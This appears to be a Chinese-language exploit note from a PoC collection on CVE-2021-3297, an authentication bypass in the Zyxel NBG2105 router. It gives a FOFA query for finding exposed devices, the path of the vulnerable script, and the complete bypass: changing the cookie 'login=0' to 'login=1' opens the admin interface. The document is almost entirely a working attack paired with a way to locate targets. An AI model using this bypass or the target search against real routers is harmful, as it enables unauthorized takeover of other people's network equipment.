Zyxel NBG2105 身份验证绕过(CVE-2021-3297).md
517 B / 2021-05-21 09:14:38
# Zyxel NBG2105 身份验证绕过(CVE-2021-3297)
**FOFA:**
```
app="ZyXEL-NBG2105"
```
**漏洞代码:**
```
http://target/js/util_gw.js
```
![](images/16116664946838.jpg)
**PoC:**
```
Cookie: login=1;
只需要将cookie中login=0 修改为login=1即可直接进入管理界面。
```
![](images/16116665275577.jpg)
![-w595](images/16116665373943.jpg)
ref:
* https://forum.ywhack.com/thread-115035-1-1.html
* https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass